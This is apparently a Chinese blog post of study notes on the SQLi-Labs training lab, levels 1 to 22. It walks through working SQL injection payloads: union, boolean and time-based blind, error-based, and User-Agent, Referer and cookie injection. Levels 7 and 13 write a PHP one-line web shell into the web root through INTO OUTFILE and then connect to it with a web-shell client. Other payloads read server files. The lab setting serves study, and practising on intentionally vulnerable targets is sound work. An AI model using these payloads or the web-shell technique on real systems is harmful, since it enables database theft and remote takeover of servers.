Php对接ilab,SQLiLab学习笔记less1-22 by L0st

less-1&2

一打开就来了一句"Please input the ID as parameter with numeric value"误导了我。。

真的以为是数字型注入,用id=1 union select..试了半天。后来才发现是字符型注入。

然后用 id=0' union select 1-99#和-- 各种尝试均失败,看writeup发现末尾应该使用 --+ 来注释。

知道了是字符型,那么先看看该sql请求查询了几个字段:

1' order by 1~4 --+

不断尝试直到by 4时页面报错,即查询了三个字段,现在可以开始查询了

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

故MySql常用注释方法:

/ #(即%23) -- /.../ --+

常用函数

version()——MySQL版本

user()——数据库用户名

database()——数据库名

@@datadir——数据库路径

@@version_compile_os——操作系统版本

字符串连接函数:

concat(str1,str2,...)——没有分隔符地连接字符串

concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

sql中运算优先级and高于or,所以username=’admin’ and password=’’or 1=1

( 假 ) 或 真 = 真

常用SQL查询语句:

show databases查询所有库

use table_name进入库,如use information_schema使用系统数据库

show tables查询库中表

desc table_name查询表结构

查库select schema_name from information_schema.schemata

查此库的表

select table_name from information_schema.tables where table_schema=’xxxxx’

查该表的所有列:

Select column_name from information_schema.columns where table_name=’xxxxx’

查该列数据:

select * from table_name where id=1--+ limit 0,1

本题query

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

less-3

使用a'b'c'd'e测试是哪种闭合方式,发现返回 near 'b'c'd'e') LIMIT 0,1' at line 1

猜测SQL语句为select * from table where id=('$_GET')

故使用1')来闭合输入

然后依旧需要用--+来注释闭合

本题query

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-4:

输入id=1'发现返回正常,输入id=1"返回报错near '"1"") LIMIT 0,1'

故推测查库语句应该为select * where id=("...")

本题query

$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

盲注分为三种:

布尔型,时间性,报错型

常用截取字符串函数:

mid(column_name,start,length)

column_name:要提取的字段名

start:规定开始位置(起始值为1)

length:要返回的字符数,可以留空,则返回剩余文本

substr()

substring()

用法均同mid()

left(string,n) string--要截取的字符串 n--长度

left()得到字符串左边指定个数的字符,即截取前n个字符

例如:left(database(),1)>’a’,查看数据库名第一位

ord()

此函数为返回第一个字符的ASCII码

例如ORD(MID(DATABASE(),1,1))>114

意为检测database()的第一位ASCII码是否大于114,也即是‘r’

ascii()用法如ord(需与subsrt截取函数组合使用)

用例:

substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES

WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’

若table_name首字符大于a,则返回真,否则为假

常用的报错注入函数:

extractvalue(1,concat(0x7e,(select @@version),0x7e)) 查询xml

updatexml(1,concat(0x7e,(select @@version),0x7e),1) 修改xml

less-5

使用id=1'后报错,故判断为字符型。但正常页面并不返回数据,故判断为布尔型盲注。

猜测数据库版本号:

id=1' and left(version(),1)=5--+

猜测数据库长度:

id=1' and length(database())>5--+

猜测数据库名第一位:

id=1' and left(version(),1)>'a'--+

猜测数据库第二位:

id=1' and left(version(),2)>'se'--+

猜测库中的表名:

id=1' and ascii(substr((select table_name from information_schema.tables

where table_schema=database() limit 0,1),1,1))>101

猜测表中的第一列(使用regexp列(使用regexp,测试users表中的列名是否含有us的列):

id=1' and 1=(select 1 from information_schema.columns

where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+

猜测表中的第一列是否含有username:

id=1' and 1=(select 1 from information_schema.columns

where table_name='users' and column_name regexp '^username' limit 0,1) --+

猜测users表的内容:(获取username中的第一行的第一个字符的ascii,与68进行比较,

即为D。而我们从表中得知第一行的数据为Dumb)

id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)

FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

less-6

使用id=1'无报错,id=0'无报错,猜测不是'闭合,测试id=0 or 1=1--+无果,

id=0' or 1=1--+无果,id=0" or 1=1--+返回正常,推测使用"..."闭合

使用id=1" and 1=2--+返回错误,验证推测。

此类题也可用时间注入:

IF(expression1,expression2,expression3) 如果ex1成立,则执行ex2,否则ex3)

?id=1" and IF(length(database())>8,1,sleep(5)) --+

该语句的作用是如果数据库长度大于8,则立刻返回正常页面,否则延时5秒后返回

BENCHMARK(arg1,arg2) 该函数在MYSQL中用来测试一些函数的执行速度。arg1是执行的次数,arg2是要执行的函数或是表达式。

?id=1" and if(length(database())>7,BENCHMARK(1000000,md5('a')),1) --+

if条件如果为真,则对字符a进行md5编码1000000次,否则立刻返回结果

less-7

Load_file(file_name)函数读取文件并返回该文件的内容作为一个字符串

使用条件:

必须要权限读取且文件必须完全可读

and (select count(*) from mysql.user)>0

如果返回正常,说明有读写权限。

欲读取文件必须位于服务器上

必须指定文件完整路径 //可以想办法提交错误的Query让程序报错获得路径

欲读取文件必须小于 max_allowed_packet

用法:

union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码

union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”

union select 1,1,1,load_file(c:\\boot.ini)

注意:路径里的/用 \\代替

导入到文件

SELECT.....INTO OUTFILE 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

有两种利用方式:

Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php” //即直接将select内容导入文件中,但这里需要注意特殊符号被转义

Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件 //本意是行结尾时要使用Lines terminated by 后面的内容,通常为'/r/n',我们在BY后面添加自己的16进制文件

可以是一句话或其他任何代码。

Tips

文件路径注意转义

如果当前页面无法导出文件,可写入到新文件中读取:

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’

即将my.ini导出到test.php,我们访问test.php可看到文件内容

从源代码中可以看到Query为

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

此处依旧可以使用报错注入,但这里我们练习文件导入注入

?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+

导出用户名及密码,需知道当前查询表名

有几个需要注意的点,这里联合查询的条件是前面的语句为真,即id=1返回正常,还有就是windows中的'/'换成'\'

?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+

?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+

两种语句均是同样的效果,写入一句话成功后直接用菜刀连接即可

less-8

同less-5,使用布尔或延时注入方法

less-9

通过简单测试可以发现,无论输入查询的数据正确与否,页面内容不会随之改变,故考虑使用延时注入

?id=1' and if(substr(user(),1,1)>'a',sleep(5),1) --+

延时注入完整流程

猜测数据库:

?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)

说明第一位是s (ascii码是115)

?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是e (ascii码是101)

....

以此类推,我们知道了数据库名字是security

猜测security的数据表:

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推,得到emails

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是r,...依次类推,得到referers

...

再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

猜测users表的列:

?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

以此类推,我们得到列名是id,username,password

猜测username的值:

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

less-10

?id=1" and if(left(user(),1)='r',sleep(5),1) --+

除使用双引号闭合id外,与less-9无异

less-11

该题使用POST方法提交参数,看下Query语句

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

先来试试万能密码:

username:'or 1=1 limit 1,1 #

password: whatever....

改变limit后面的数字为 2,1 3,1 4,1既可查询不同用户的密码

联合查询

username=admin' order by 1 # 替换 1 为2,3,4...直到报错为止,既可知道查询的字段数

username=0' union select 1,2 # 显示字段显示的位置

username=0' union select user(),version() # 剩下的步骤与GET型无异

less-12

先测试一下Query语句中如何闭合一个参数的输入

username=a'a"a')aa

报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a')aa") and password=("da") LIMIT 0,1' at line 1

可以看出应使用 ") 来闭合

剩下与less-11无异

less-13

源码中的Query请求:

$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

同样构造:

username=admin') #

password=随便输

显示登陆正常,但不会返回任何数据,这里要结合盲注技术:

admin') union select 1,'<?php @eval($_POST["syc"])?>' into outfile 'c:\\xampp\\htdocs\\1.php' #

直接上菜刀就行

less-14

闭合参数的方法为 "$id" ,其余同less-13

less-15

先测试一下参数是如何闭合的,多试几次就发现uname=1' or 1=1 # 可以成功登陆,

说明参数以 '$id' 方式闭合,然后开始造轮子:

1' or 1=1 and length(user())>10 #

或者延时注入:

1' or 1=1 and if(length(user())>5,benchmark(1000000,md5('a')),1) #

接下来就是盲注的过程,参考前文.

less-16

除闭合方式变为 ("$id") 外,与less-15无异

less-17

SQL中对于数据的查询,增减与修改:

查询

select * from users where id=1;

增加

insert into users values('16','cat','cat'); 直接增加一行数据至users表

删除

删除数据

delete from table_name;

delete from table_name where id=1; 删除指定条件的数据

删除结构

drop database database_name; 删库

drop table table_name; 删表

alter table table_name drop column column_name; 删除表中的列

修改

update table_name set column_name='new_value'; 修改所有列的数据

update table_name set column_name='new_value' where id=1; 指定条件修改

先来看下源码中程序是如何修改用户密码的:

$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$row=mysql_query($sql);

$row1=$row['username'];

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

因为程序对username做了严格过滤,故只有password处存在注入:

构造payload:

New Password=

123' and if(length(user())>10,1,benchmark(1111111,md5('a'))) #

剩下就是延时注入的套路了。

less-18

先看源码:

$uagent = $_SERVER['HTTP_USER_AGENT'];

$IP = $_SERVER['REMOTE_ADDR'];

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";`

$insert="INSERT INTO security.uagents (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";`

这里我们在HTTP请求中User_Agent处利用报错注入:

'and updatexml(1,(select @@version),1) and '1'='1 查询mysql版本

'and extractvalue(1,concat(0x7e,(select @@version),0x7e,(select user()),0x7e)) and '1'='1

'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) and '1'='1 查询库名

less-19

与less-18无异,只是将注入点换成了HTTP请求头的Referer

less-20

先看一个函数setcookie():

setcookie(name,value,expire,path,domain,secure)

然后看关键的几处源码:

生成cookie:

$uname = check_input($_POST['uname']);

$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

$result1 = mysql_query($sql);

$row1 = mysql_fetch_array($result1);

$cookee = $row1['username'];

setcookie('uname', $cookee, time()+3600);

设置cookie后:

$cookee = $_COOKIE['uname'];

echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

$result=mysql_query($sql);

if (!$result)

{

die('Issue with your mysql: ' . mysql_error());

}

可以看到,在成功登陆后服务端会生成一段cookie,然后客户端请求页面(刷新)时会带上设置的cookie,程序会读取cookie中的uname数据,并且将其带入数据库查询,故我们需在uname处构造payload:

uname=admin' and updatexml(1,(select user()),1) #

less-21

查看源码发现大部分与less-20相同,只是多了:

$cookee = $_COOKIE['uname'];

$cookee = base64_decode($cookee); //对$cookee进行了一次BASE64解码

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

//注意,此处闭合参数需要用')

那么我们将payload进行一次BASE64编码:

编码前:da') and updatexml(1,(select @@version),1) #

编码后:ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=

然后在cookie中发送:

uname=ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=

即可返回数据库版本

less-22

与less-21差不多,也只是多了:

$cookee1 = '"'. $cookee. '"';

造轮子时需要用双引号闭合。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值